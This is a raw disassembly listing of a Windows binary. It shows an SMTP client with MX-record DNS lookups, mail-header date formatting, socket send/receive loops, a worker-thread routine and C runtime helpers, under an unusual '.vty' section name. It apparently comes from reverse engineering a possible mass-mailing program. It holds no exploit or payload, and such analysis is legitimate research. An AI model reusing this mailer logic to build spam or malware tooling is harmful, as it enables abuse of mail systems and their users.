lea eax, [ebp-24h]
loc_40D1B1: ; CODE XREF: sub_40D183+29j
push 14h
push eax
mov eax, [ebp-14h]
mov ecx, esi
call sub_40D66E
test eax, eax
jz short loc_40D1FB
push offset aSmtpclientQuit ; "SmtpClient::quit: connection broken\n"
call sub_4024A7
push eax
push 3
pop ecx
call sub_40195C
pop ecx
pop ecx
call sub_40CC9C
push 0FFFFFFFEh
pop esi
loc_40D1DF: ; CODE XREF: sub_40D183+8Cj
push 0
push 1
lea ecx, [ebp-28h]
call sub_4013C4
mov ecx, [ebp-0Ch]
pop edi
mov eax, esi
mov large fs:0, ecx
pop esi
leave
retn
; ---------------------------------------------------------------------------
loc_40D1FB: ; CODE XREF: sub_40D183+3Dj
push esi
call sub_40D355
cmp dword ptr [esi], 0FFFFFFFFh
mov edi, eax
jz short loc_40D20D
call sub_40CC9C
loc_40D20D: ; CODE XREF: sub_40D183+83j
mov esi, edi
jmp short loc_40D1DF
sub_40D183 endp
; =============== S U B R O U T I N E =======================================
sub_40D211 proc near ; CODE XREF: sub_403C76+11Dp
; sub_403C76+163p ...
push 64h
cdq
pop ecx
idiv ecx
cmp eax, 2
jz short loc_40D224
cmp eax, 3
jz short loc_40D224
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_40D224: ; CODE XREF: sub_40D211+9j
; sub_40D211+Ej
xor eax, eax
inc eax
retn
sub_40D211 endp
; =============== S U B R O U T I N E =======================================
sub_40D228 proc near ; CODE XREF: sub_40399B+39p
; sub_403B47+4Fp
mov eax, offset loc_41AF37
call sub_41AE44
push ecx
push ecx
push esi
push edi
xor edi, edi
mov [ebp-4], edi
mov esi, ecx
mov [ebp-14h], edi
mov ecx, [ebp+8]
push esi
mov [ebp-10h], edi
call sub_401C1E
mov [ebp-4], edi
cmp dword ptr [esi+18h], 10h
mov dword ptr [ebp-14h], 1
jb short loc_40D261
mov esi, [esi+4]
jmp short loc_40D264
; ---------------------------------------------------------------------------
loc_40D261: ; CODE XREF: sub_40D228+32j
add esi, 4
loc_40D264: ; CODE XREF: sub_40D228+37j
push edi
lea eax, [ebp-10h]
push eax
push edi
push edi
push 0Fh
push esi
call sub_40D772 ; DnsQuery_A
test eax, eax
pop edi
pop esi
jnz short loc_40D291
mov eax, [ebp-10h]
push dword ptr [eax+18h]
mov ecx, [ebp+8]
call sub_4013A7
push 1
push dword ptr [ebp-10h]
call sub_40D778 ; DnsRecordListFree
loc_40D291: ; CODE XREF: sub_40D228+4Fj
mov ecx, [ebp-0Ch]
mov eax, [ebp+8]
mov large fs:0, ecx
leave
retn
sub_40D228 endp
; =============== S U B R O U T I N E =======================================
sub_40D2A0 proc near ; CODE XREF: sub_409358+35p
mov eax, offset loc_41AF5A
call sub_41AE44
sub esp, 44h
push esi
mov esi, [ebp+8]
and dword ptr [ebp-10h], 0
push edi
call sub_4012E2
and dword ptr [ebp-4], 0
push 40h
lea eax, [ebp-50h]
push eax
push offset aDddDdMmmYyyy ; "ddd',' dd MMM yyyy "
push dword ptr [ebp+0Ch]
mov edi, 409h
push 0
push edi
mov dword ptr [ebp-10h], 1
call dword_41C0E4 ; GetDateFormatA
lea eax, [ebp-50h]
push eax
mov ecx, esi
call sub_4013A7
push 40h
lea eax, [ebp-50h]
push eax
push offset aHhMmSs ; "HH':'mm':'ss "
push dword ptr [ebp+0Ch]
push 0
push edi
call dword_41C0E0 ; GetTimeFormatA
lea eax, [ebp-50h]
push eax
push esi
call sub_401C66
mov eax, [ebp+10h]
push 3Ch
cdq
pop ecx
idiv ecx
push edx
call sub_4103BA
push eax
mov eax, [ebp+10h]
push 0FFFFFFC4h
pop ecx
cdq
idiv ecx
push eax
push offset a02_2d02d ; "%+02.2d%02d"
lea eax, [ebp-50h]
push 40h
push eax
call sub_40D9FB
add esp, 18h
lea eax, [ebp-50h]
push eax
push esi
call sub_401C66
mov ecx, [ebp-0Ch]
pop edi
mov eax, esi
pop esi
mov large fs:0, ecx
leave
retn
sub_40D2A0 endp
; =============== S U B R O U T I N E =======================================
sub_40D355 proc near ; CODE XREF: sub_40CCCC+11Fp
; sub_40CDF4+9Ap ...
mov eax, offset loc_41B0FB
call sub_41AE44
sub esp, 34h
push ebx
push esi
push edi
push 0
lea ecx, [ebp-3Ch]
mov dword ptr [ebp-24h], 0Fh
call sub_401564
and dword ptr [ebp-4], 0
mov ebx, [ebp+8]
add ebx, 4
mov [ebp-1Ch], ebx
mov ecx, ebx
loc_40D385: ; CODE XREF: sub_40D355+C0j
push offset dword_41E020
call sub_4013A7
loc_40D38F: ; CODE XREF: sub_40D355+C9j
; sub_40D355+DAj ...
mov esi, [ebp+8]
mov dword ptr [ebp-10h], 1
xor edi, edi
loc_40D39B: ; CODE XREF: sub_40D355+89j
push 0
push dword ptr [ebp-10h]
lea eax, [ebp+edi-18h]
push eax
push dword ptr [esi]
call dword_41C1E0 ; recv
test eax, eax
jz loc_40D44B
jg short loc_40D3D5
call dword_41C210 ; WSAGetLastError
cmp eax, 2733h
jnz loc_40D44B
call sub_40D599
test eax, eax
jz short loc_40D44B
jl short loc_40D44B
xor eax, eax
loc_40D3D5: ; CODE XREF: sub_40D355+60j
sub [ebp-10h], eax
add edi, eax
cmp dword ptr [ebp-10h], 0
jg short loc_40D39B
cmp byte ptr [ebp-18h], 0Ah
jnz short loc_40D41A
cmp dword ptr [ebp-28h], 4
jb loc_40D487
push 3
pop edi
lea eax, [ebp-3Ch]
call sub_4012F5
cmp byte ptr [eax], 2Dh
jnz loc_40D487
push 0FFFFFFFFh
push 0
lea eax, [ebp-3Ch]
mov esi, ebx
call sub_401F95
lea ecx, [ebp-3Ch]
jmp loc_40D385
; ---------------------------------------------------------------------------
loc_40D41A: ; CODE XREF: sub_40D355+8Fj
cmp byte ptr [ebp-18h], 0Dh
jz loc_40D38F
mov eax, [esi+18h]
add eax, [ebp-28h]
cmp eax, 4000h
jnb loc_40D38F
push dword ptr [ebp-18h]
xor ebx, ebx
inc ebx
lea esi, [ebp-3Ch]
call sub_40140F
mov ebx, [ebp-1Ch]
jmp loc_40D38F
; ---------------------------------------------------------------------------
loc_40D44B: ; CODE XREF: sub_40D355+5Aj
; sub_40D355+6Dj ...
push offset aSmtpclientRecv ; "SmtpClient::recvResponse: connection br"...
call sub_4024A7
push eax
push 3
pop ecx
call sub_40195C
pop ecx
pop ecx
call sub_40CC9C
push 0FFFFFFFEh
pop esi
loc_40D468: ; CODE XREF: sub_40D355+1BEj
; sub_40D355+1E9j
push 0
push 1
lea ecx, [ebp-3Ch]
call sub_4013C4
mov ecx, [ebp-0Ch]
pop edi
mov eax, esi
pop esi
mov large fs:0, ecx
pop ebx
leave
retn 4
; ---------------------------------------------------------------------------
loc_40D487: ; CODE XREF: sub_40D355+95j
; sub_40D355+A9j
mov eax, esi
cmp dword ptr [eax+18h], 0
jz short loc_40D4B7
xor edi, edi
mov eax, ebx
call sub_4012F5
cmp byte ptr [eax], 0Dh
jnz short loc_40D4B7
lea eax, [ebp-20h]
mov ecx, ebx
call sub_405472
push dword ptr [eax+4]
push dword ptr [eax]
lea eax, [ebp-14h]
push eax
mov eax, ebx
call sub_40D543
loc_40D4B7: ; CODE XREF: sub_40D355+138j
; sub_40D355+146j
mov eax, esi
cmp dword ptr [eax+18h], 0
jz short loc_40D4E7
xor edi, edi
mov eax, ebx
call sub_4012F5
cmp byte ptr [eax], 0Ah
jnz short loc_40D4E7
lea eax, [ebp-20h]
mov ecx, ebx
call sub_405472
push dword ptr [eax+4]
push dword ptr [eax]
lea eax, [ebp-14h]
push eax
mov eax, ebx
call sub_40D543
loc_40D4E7: ; CODE XREF: sub_40D355+168j
; sub_40D355+176j
push 0FFFFFFFFh
push 0
lea eax, [ebp-3Ch]
mov esi, ebx
call sub_401F95
cmp dword ptr [ebx+18h], 10h
jb short loc_40D500
mov eax, [ebx+4]
jmp short loc_40D503
; ---------------------------------------------------------------------------
loc_40D500: ; CODE XREF: sub_40D355+1A4j
lea eax, [ebx+4]
loc_40D503: ; CODE XREF: sub_40D355+1A9j
push eax
call sub_410040
pop ecx
mov esi, eax
call sub_40D211
test al, al
jnz loc_40D468
cmp dword ptr [ebx+18h], 10h
jb short loc_40D524
mov ebx, [ebx+4]
jmp short loc_40D527
; ---------------------------------------------------------------------------
loc_40D524: ; CODE XREF: sub_40D355+1C8j
add ebx, 4
loc_40D527: ; CODE XREF: sub_40D355+1CDj
push ebx
push offset aS ; "%s\n"
call sub_4024A7
push eax
push 3
pop ecx
call sub_40195C
add esp, 0Ch
jmp loc_40D468
sub_40D355 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D543 proc near ; CODE XREF: sub_40D355+15Dp
; sub_40D355+18Dp
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 10h
push ebx
push esi
mov esi, eax
push edi
lea eax, [ebp+var_C]
mov ecx, esi
call sub_405472
push dword ptr [eax+4]
push dword ptr [eax]
push [ebp+arg_8]
push [ebp+arg_4]
call sub_405E8F
add esp, 10h
mov edi, eax
push 1
push edi
mov ecx, esi
call sub_4014F5
cmp dword ptr [esi+18h], 10h
jb short loc_40D582
mov eax, [esi+4]
jmp short loc_40D585
; ---------------------------------------------------------------------------
loc_40D582: ; CODE XREF: sub_40D543+38j
lea eax, [esi+4]
loc_40D585: ; CODE XREF: sub_40D543+3Dj
lea ebx, [eax+edi]
mov edi, [ebp+arg_0]
call sub_405E52
mov eax, edi
pop edi
pop esi
pop ebx
leave
retn 0Ch
sub_40D543 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D599 proc near ; CODE XREF: sub_40D355+73p
var_210 = dword ptr -210h
var_20C = dword ptr -20Ch
var_10C = dword ptr -10Ch
var_108 = dword ptr -108h
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 210h
mov eax, [esi]
and [ebp+var_4], 0
xor ecx, ecx
inc ecx
mov [ebp+var_210], ecx
mov [ebp+var_10C], ecx
lea ecx, [ebp+var_8]
push ecx
lea ecx, [ebp+var_10C]
push ecx
push 0
lea ecx, [ebp+var_210]
mov [ebp+var_20C], eax
mov [ebp+var_108], eax
push ecx
inc eax
push eax
mov [ebp+var_8], 1Eh
call dword_41C214 ; select
test eax, eax
jle short locret_40D600
lea eax, [ebp+var_10C]
push eax
push dword ptr [esi]
call sub_40D77E ; __WSAFDIsSet
neg eax
sbb eax, eax
and eax, 0FFFFFFFEh
inc eax
locret_40D600: ; CODE XREF: sub_40D599+4Fj
leave
retn
sub_40D599 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D602 proc near ; CODE XREF: sub_40CCCC+E2p
; sub_40D66E+34p
var_210 = dword ptr -210h
var_20C = dword ptr -20Ch
var_10C = dword ptr -10Ch
var_108 = dword ptr -108h
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 210h
and [ebp+var_4], 0
mov ecx, [esi]
xor edx, edx
inc edx
mov [ebp+var_8], eax
inc eax
neg eax
sbb eax, eax
mov [ebp+var_210], edx
mov [ebp+var_10C], edx
lea edx, [ebp+var_8]
and eax, edx
push eax
lea eax, [ebp+var_10C]
push eax
lea eax, [ebp+var_210]
push eax
mov [ebp+var_20C], ecx
mov [ebp+var_108], ecx
push 0
inc ecx
push ecx
call dword_41C214 ; select
test eax, eax
jle short locret_40D66C
lea eax, [ebp+var_10C]
push eax
push dword ptr [esi]
call sub_40D77E ; __WSAFDIsSet
neg eax
sbb eax, eax
and eax, 0FFFFFFFEh
inc eax
locret_40D66C: ; CODE XREF: sub_40D602+52j
leave
retn
sub_40D602 endp
; =============== S U B R O U T I N E =======================================
sub_40D66E proc near ; CODE XREF: sub_40CDF4+56p
; sub_40CE97+61p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push esi
push edi
mov ebx, eax
mov esi, ecx
xor edi, edi
jmp short loc_40D6B3
; ---------------------------------------------------------------------------
loc_40D679: ; CODE XREF: sub_40D66E+47j
mov eax, [esp+0Ch+arg_0]
push 0
push ebx
add eax, edi
push eax
push dword ptr [esi]
call dword_41C1F0 ; send
test eax, eax
jz short loc_40D6BF
jg short loc_40D6AF
call dword_41C210 ; WSAGetLastError
cmp eax, 2733h
jnz short loc_40D6BF
mov eax, [esp+0Ch+arg_4]
call sub_40D602
test eax, eax
jz short loc_40D6C4
jl short loc_40D6BF
xor eax, eax
loc_40D6AF: ; CODE XREF: sub_40D66E+21j
add edi, eax
sub ebx, eax
loc_40D6B3: ; CODE XREF: sub_40D66E+9j
test ebx, ebx
jg short loc_40D679
xor eax, eax
loc_40D6B9: ; CODE XREF: sub_40D66E+54j
; sub_40D66E+59j
pop edi
pop esi
pop ebx
retn 8
; ---------------------------------------------------------------------------
loc_40D6BF: ; CODE XREF: sub_40D66E+1Fj
; sub_40D66E+2Ej ...
or eax, 0FFFFFFFFh
jmp short loc_40D6B9
; ---------------------------------------------------------------------------
loc_40D6C4: ; CODE XREF: sub_40D66E+3Bj
xor eax, eax
inc eax
jmp short loc_40D6B9
sub_40D66E endp
; =============== S U B R O U T I N E =======================================
sub_40D6C9 proc near ; CODE XREF: sub_40D748+15p
mov al, [edi+4]
test al, al
jnz short loc_40D745
push ebx
push ebp
push esi
loc_40D6D3: ; CODE XREF: sub_40D6C9+77j
mov esi, [edi]
call sub_4026D0
mov esi, eax
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+4]
mov eax, [esi]
push 1
mov ecx, esi
call dword ptr [eax]
mov esi, [edi]
lea ebx, [esi+108h]
push ebx
call dword_41C070 ; RtlEnterCriticalSection
lea eax, [esi+0DCh]
dec dword ptr [eax]
mov ebp, [eax]
lea eax, [esi+0E0h]
call sub_4058DF
cmp ebp, eax
jnb short loc_40D734
cmp dword ptr [esi+100h], 0
jnz short loc_40D734
cmp dword ptr [esi+0B4h], 0C8h
jnb short loc_40D734
push dword ptr [esi+0D8h]
call dword_41C088 ; SetEvent
loc_40D734: ; CODE XREF: sub_40D6C9+48j
; sub_40D6C9+51j ...
push ebx
call dword_41C06C ; RtlLeaveCriticalSection
mov al, [edi+4]
test al, al
jz short loc_40D6D3
pop esi
pop ebp
pop ebx
loc_40D745: ; CODE XREF: sub_40D6C9+5j
xor eax, eax
retn
sub_40D6C9 endp
; =============== S U B R O U T I N E =======================================
sub_40D748 proc near ; DATA XREF: sub_4033DA+C5o
arg_0 = dword ptr 4
push esi
push edi
push 0
call sub_40FDF8
push eax
call sub_40FA79
mov edi, [esp+10h+arg_0]
pop ecx
pop ecx
call sub_40D6C9
push edi
mov esi, eax
call sub_40DD8A
pop ecx
pop edi
mov eax, esi
pop esi
retn 4
sub_40D748 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40D772 proc near ; CODE XREF: sub_402F64+ECp
; sub_403A28+6Ap ...
jmp dword_41C020
sub_40D772 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40D778 proc near ; CODE XREF: sub_402F64+152p
; sub_403A28+FDp ...
jmp dword_41C01C
sub_40D778 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40D77E proc near ; CODE XREF: sub_40D599+5Ap
; sub_40D602+5Dp
jmp dword_41C20C
sub_40D77E endp
; =============== S U B R O U T I N E =======================================
sub_40D784 proc near ; CODE XREF: sub_40140F+Ap
; sub_401580+Dp ...
push 44h
mov eax, offset loc_41AE6B
call sub_410BDC
push offset aStringTooLong ; "string too long"
lea ecx, [ebp-28h]
call sub_401C44
and dword ptr [ebp-4], 0
lea eax, [ebp-28h]
push eax
lea ecx, [ebp-50h]
call sub_401869
push offset dword_41FEF8
lea eax, [ebp-50h]
push eax
mov dword ptr [ebp-50h], offset off_41C2A8
call sub_4107BC
int 3 ; Trap to Debugger
sub_40D784 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_40D7C3 proc near ; CODE XREF: sub_401315+13p
; sub_4014F5+Fp ...
push 44h
mov eax, offset loc_41AE6B
call sub_410BDC
push offset aInvalidStringP ; "invalid string position"
lea ecx, [ebp-28h]
call sub_401C44
and dword ptr [ebp-4], 0
lea eax, [ebp-28h]
push eax
lea ecx, [ebp-50h]
call sub_401869
push offset dword_41FF68
lea eax, [ebp-50h]
push eax
mov dword ptr [ebp-50h], offset off_41C2B4
call sub_4107BC
int 3 ; Trap to Debugger
sub_40D7C3 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40D802 proc near ; CODE XREF: sub_40BB2D+11Ap
jmp sub_40DE68
sub_40D802 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D807 proc near ; CODE XREF: sub_401049+Fp
; sub_406253+14Fp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
mov eax, [ebp+arg_C]
push esi
push edi
xor edi, edi
cmp eax, edi
jz short loc_40D85C
cmp [ebp+arg_0], edi
jnz short loc_40D835
loc_40D81A: ; CODE XREF: sub_40D807+31j
call sub_40F79E
push 16h
pop esi
mov [eax], esi
loc_40D824: ; CODE XREF: sub_40D807+44j
push edi
push edi
push edi
push edi
push edi
call sub_40DCD8
add esp, 14h
mov eax, esi
jmp short loc_40D85E
; ---------------------------------------------------------------------------
loc_40D835: ; CODE XREF: sub_40D807+11j
cmp [ebp+arg_8], edi
jz short loc_40D81A
cmp [ebp+arg_4], eax
jnb short loc_40D84D
call sub_40F79E
push 22h
pop ecx
mov [eax], ecx
mov esi, ecx
jmp short loc_40D824
; ---------------------------------------------------------------------------
loc_40D84D: ; CODE XREF: sub_40D807+36j
push eax
push [ebp+arg_8]
push [ebp+arg_0]
call sub_410C50
add esp, 0Ch
loc_40D85C: ; CODE XREF: sub_40D807+Cj
xor eax, eax
loc_40D85E: ; CODE XREF: sub_40D807+2Cj
pop edi
pop esi
pop ebp
retn
sub_40D807 endp
; =============== S U B R O U T I N E =======================================
sub_40D862 proc near ; CODE XREF: sub_401869+11p
mov eax, ecx
and dword ptr [eax+4], 0
and dword ptr [eax+8], 0
mov dword ptr [eax], offset off_41C2E8
retn
sub_40D862 endp
; =============== S U B R O U T I N E =======================================
sub_40D873 proc near ; CODE XREF: sub_401806+2Fp
; sub_405F1C+2Fp ...
arg_0 = dword ptr 4
push ebx
mov ebx, [esp+4+arg_0]
push esi
push edi
mov edi, ecx
mov dword ptr [edi], offset off_41C2E8
mov eax, [ebx]
test eax, eax
jz short loc_40D8AE
push eax
call sub_40D970
mov esi, eax
inc esi
push esi
call sub_411069
test eax, eax
pop ecx
pop ecx
mov [edi+4], eax
jz short loc_40D8B2
push dword ptr [ebx]
push esi
push eax
call sub_410FB5
add esp, 0Ch
jmp short loc_40D8B2
; ---------------------------------------------------------------------------
loc_40D8AE: ; CODE XREF: sub_40D873+13j
and dword ptr [edi+4], 0
loc_40D8B2: ; CODE XREF: sub_40D873+2Bj
; sub_40D873+39j
mov dword ptr [edi+8], 1
mov eax, edi
pop edi
pop esi
pop ebx
retn 4
sub_40D873 endp
; =============== S U B R O U T I N E =======================================
sub_40D8C1 proc near ; CODE XREF: sub_40DE4F+Ap
arg_0 = dword ptr 4
mov eax, ecx
mov ecx, [esp+arg_0]
mov dword ptr [eax], offset off_41C2E8
mov ecx, [ecx]
and dword ptr [eax+8], 0
mov [eax+4], ecx
retn 8
sub_40D8C1 endp
; =============== S U B R O U T I N E =======================================
sub_40D8D9 proc near ; CODE XREF: sub_401806+51p
; sub_401919+16p ...
arg_0 = dword ptr 4
push ebx
mov ebx, [esp+4+arg_0]
push esi
mov esi, ecx
mov dword ptr [esi], offset off_41C2E8
mov eax, [ebx+8]
mov [esi+8], eax
test eax, eax
mov eax, [ebx+4]
push edi
jz short loc_40D926
test eax, eax
jz short loc_40D920
push eax
call sub_40D970
mov edi, eax
inc edi
push edi
call sub_411069
test eax, eax
pop ecx
pop ecx
mov [esi+4], eax
jz short loc_40D929
push dword ptr [ebx+4]
push edi
push eax
call sub_410FB5
add esp, 0Ch
jmp short loc_40D929
; ---------------------------------------------------------------------------
loc_40D920: ; CODE XREF: sub_40D8D9+1Ej
and dword ptr [esi+4], 0
jmp short loc_40D929
; ---------------------------------------------------------------------------
loc_40D926: ; CODE XREF: sub_40D8D9+1Aj
mov [esi+4], eax
loc_40D929: ; CODE XREF: sub_40D8D9+36j
; sub_40D8D9+45j ...
pop edi
mov eax, esi
pop esi
pop ebx
retn 4
sub_40D8D9 endp
; =============== S U B R O U T I N E =======================================
sub_40D931 proc near ; CODE XREF: .vty:00401006j
; .vty:00401014p ...
cmp dword ptr [ecx+8], 0
mov dword ptr [ecx], offset off_41C2E8
jz short locret_40D946
push dword ptr [ecx+4]
call sub_41112C
pop ecx
locret_40D946: ; CODE XREF: sub_40D931+Aj
retn
sub_40D931 endp
; =============== S U B R O U T I N E =======================================
sub_40D947 proc near ; DATA XREF: .vty:0041C294o
; .vty:0041C2ECo ...
mov eax, [ecx+4]
test eax, eax
jnz short locret_40D953
mov eax, offset aUnknownExcepti ; "Unknown exception"
locret_40D953: ; CODE XREF: sub_40D947+5j
retn
sub_40D947 endp
; ---------------------------------------------------------------------------
loc_40D954: ; DATA XREF: .vty:off_41C2E8o
push esi
mov esi, ecx
call sub_40D931
test byte ptr [esp+8], 1
jz short loc_40D96A
push esi
call sub_40DD8A
pop ecx
loc_40D96A: ; CODE XREF: .vty:0040D961j
mov eax, esi
pop esi
retn 4
; =============== S U B R O U T I N E =======================================
sub_40D970 proc near ; CODE XREF: sub_401065+5Fp
; sub_4013A7+7p ...
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
test ecx, 3
jz short loc_40D9A0
loc_40D97C: ; CODE XREF: sub_40D970+1Bj
mov al, [ecx]
add ecx, 1
test al, al
jz short loc_40D9D3
test ecx, 3
jnz short loc_40D97C
add eax, 0
lea esp, [esp+0]
lea esp, [esp+0]
loc_40D9A0: ; CODE XREF: sub_40D970+Aj
; sub_40D970+46j ...
mov eax, [ecx]
mov edx, 7EFEFEFFh
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
add ecx, 4
test eax, 81010100h
jz short loc_40D9A0
mov eax, [ecx-4]
test al, al
jz short loc_40D9F1
test ah, ah
jz short loc_40D9E7
test eax, 0FF0000h
jz short loc_40D9DD
test eax, 0FF000000h
jz short loc_40D9D3
jmp short loc_40D9A0
; ---------------------------------------------------------------------------
loc_40D9D3: ; CODE XREF: sub_40D970+13j
; sub_40D970+5Fj
lea eax, [ecx-1]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
; ---------------------------------------------------------------------------
loc_40D9DD: ; CODE XREF: sub_40D970+58j
lea eax, [ecx-2]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
; ---------------------------------------------------------------------------
loc_40D9E7: ; CODE XREF: sub_40D970+51j
lea eax, [ecx-3]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
; ---------------------------------------------------------------------------
loc_40D9F1: ; CODE XREF: sub_40D970+4Dj
lea eax, [ecx-4]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
sub_40D970 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D9FB proc near ; CODE XREF: sub_401156+168p
; sub_402F64+6Ap ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = byte ptr 14h
push ebp
mov ebp, esp
sub esp, 20h
push ebx
xor ebx, ebx
cmp [ebp+arg_8], ebx
jnz short loc_40DA26
call sub_40F79E
push ebx
push ebx
push ebx
push ebx
push ebx
mov dword ptr [eax], 16h
call sub_40DCD8
add esp, 14h
or eax, 0FFFFFFFFh
jmp short loc_40DAA5
; ---------------------------------------------------------------------------
loc_40DA26: ; CODE XREF: sub_40D9FB+Cj
mov ecx, [ebp+arg_4]
cmp ecx, ebx
push esi
mov esi, [ebp+arg_0]
jz short loc_40DA52
cmp esi, ebx
jnz short loc_40DA52
call sub_40F79E
push ebx
push ebx
push ebx
push ebx
push ebx
mov dword ptr [eax], 16h
call sub_40DCD8
add esp, 14h
or eax, 0FFFFFFFFh
jmp short loc_40DAA4
; ---------------------------------------------------------------------------
loc_40DA52: ; CODE XREF: sub_40D9FB+34j
; sub_40D9FB+38j
mov eax, 7FFFFFFFh
cmp ecx, eax
mov [ebp+var_1C], eax
ja short loc_40DA61
mov [ebp+var_1C], ecx
loc_40DA61: ; CODE XREF: sub_40D9FB+61j
push edi
lea eax, [ebp+arg_C]
push eax
push ebx
push [ebp+arg_8]
lea eax, [ebp+var_20]
push eax
mov [ebp+var_14], 42h
mov [ebp+var_18], esi
mov [ebp+var_20], esi
call sub_4113BB
add esp, 10h
cmp esi, ebx
mov edi, eax
jz short loc_40DAA3
dec [ebp+var_1C]
js short loc_40DA95
mov eax, [ebp+var_20]
mov [eax], bl
jmp short loc_40DAA1
; ---------------------------------------------------------------------------
loc_40DA95: ; CODE XREF: sub_40D9FB+91j
lea eax, [ebp+var_20]
push eax
push ebx
call sub_4111BA
pop ecx
pop ecx
loc_40DAA1: ; CODE XREF: sub_40D9FB+98j
mov eax, edi
loc_40DAA3: ; CODE XREF: sub_40D9FB+8Cj
pop edi
loc_40DAA4: ; CODE XREF: sub_40D9FB+55j
pop esi
loc_40DAA5: ; CODE XREF: sub_40D9FB+29j
pop ebx
leave
retn
sub_40D9FB endp
; =============== S U B R O U T I N E =======================================
sub_40DAA8 proc near ; CODE XREF: sub_40DB84+18p
var_4 = dword ptr -4
arg_0 = dword ptr 4
push ecx
push ebx
push ebp
push esi
push edi
push dword_426018
call sub_411DBF
push dword_426014
mov esi, eax
mov [esp+1Ch+var_4], esi
call sub_411DBF
mov edi, eax
cmp edi, esi
pop ecx
pop ecx
jb short loc_40DB4D
mov ebx, edi
sub ebx, esi
lea ebp, [ebx+4]
cmp ebp, 4
jb short loc_40DB4D
push esi
call sub_4123F6
mov esi, eax
cmp esi, ebp
pop ecx
jnb short loc_40DB34
mov eax, 800h
cmp esi, eax
jnb short loc_40DAF5
mov eax, esi
loc_40DAF5: ; CODE XREF: sub_40DAA8+49j
add eax, esi
cmp eax, esi
jb short loc_40DB0B
push eax
push [esp+18h+var_4]
call sub_4123AB
test eax, eax
pop ecx
pop ecx
jnz short loc_40DB22
loc_40DB0B: ; CODE XREF: sub_40DAA8+51j
lea eax, [esi+10h]
cmp eax, esi
jb short loc_40DB4D
push eax
push [esp+18h+var_4]
call sub_4123AB
test eax, eax
pop ecx
pop ecx
jz short loc_40DB4D
loc_40DB22: ; CODE XREF: sub_40DAA8+61j
sar ebx, 2
push eax
lea edi, [eax+ebx*4]
call sub_411D53
pop ecx
mov dword_426018, eax
loc_40DB34: ; CODE XREF: sub_40DAA8+40j
mov esi, [esp+14h+arg_0]
mov [edi], esi
add edi, 4
push edi
call sub_411D53
mov dword_426014, eax
pop ecx
mov eax, esi
jmp short loc_40DB4F
; ---------------------------------------------------------------------------
loc_40DB4D: ; CODE XREF: sub_40DAA8+27j
; sub_40DAA8+33j ...
xor eax, eax
loc_40DB4F: ; CODE XREF: sub_40DAA8+A3j
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
sub_40DAA8 endp
; =============== S U B R O U T I N E =======================================
sub_40DB55 proc near ; DATA XREF: .vty:0041C22Co
push esi
push 4
push 20h
call sub_412363
mov esi, eax
push esi
call sub_411D53
add esp, 0Ch
test esi, esi
mov dword_426018, eax
mov dword_426014, eax
jnz short loc_40DB7D
push 18h
pop eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_40DB7D: ; CODE XREF: sub_40DB55+21j
and dword ptr [esi], 0
xor eax, eax
pop esi
retn
sub_40DB55 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40DB84 proc near ; CODE XREF: sub_40DBC0+4p
var_1C = dword ptr -1Ch
ms_exc = CPPEH_RECORD ptr -18h
arg_0 = dword ptr 8
push 0Ch
push offset dword_41F880
call __SEH_prolog4
call sub_4124F8
and [ebp+ms_exc.disabled], 0
push [ebp+arg_0]
call sub_40DAA8
pop ecx
mov [ebp+var_1C], eax
mov [ebp+ms_exc.disabled], 0FFFFFFFEh
call sub_40DBBA
mov eax, [ebp+var_1C]
call __SEH_epilog4
retn
sub_40DB84 endp
; =============== S U B R O U T I N E =======================================
sub_40DBBA proc near ; CODE XREF: sub_40DB84+28p
; DATA XREF: .vty:0041F898o
call sub_412501
retn
sub_40DBBA endp
; =============== S U B R O U T I N E =======================================
sub_40DBC0 proc near ; CODE XREF: sub_401156+39p
; sub_4024A7+4Cp ...
arg_0 = dword ptr 4
push [esp+arg_0]
call sub_40DB84
neg eax
sbb eax, eax
neg eax
pop ecx
dec eax
retn
sub_40DBC0 endp
; =============== S U B R O U T I N E =======================================
sub_40DBD2 proc near ; CODE XREF: sub_412755+15p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov dword_424380, eax
retn
sub_40DBD2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame fpd=2A8h
sub_40DBDC proc near ; CODE XREF: sub_40DCD8+1Fj
; sub_40F6FC+59p ...
var_328 = dword ptr -328h
var_31C = dword ptr -31Ch
var_2D8 = dword ptr -2D8h
var_2D4 = dword ptr -2D4h
var_2D0 = dword ptr -2D0h
var_244 = word ptr -244h
var_240 = word ptr -240h
var_23C = word ptr -23Ch
var_238 = word ptr -238h
var_234 = dword ptr -234h
var_230 = dword ptr -230h
var_22C = dword ptr -22Ch
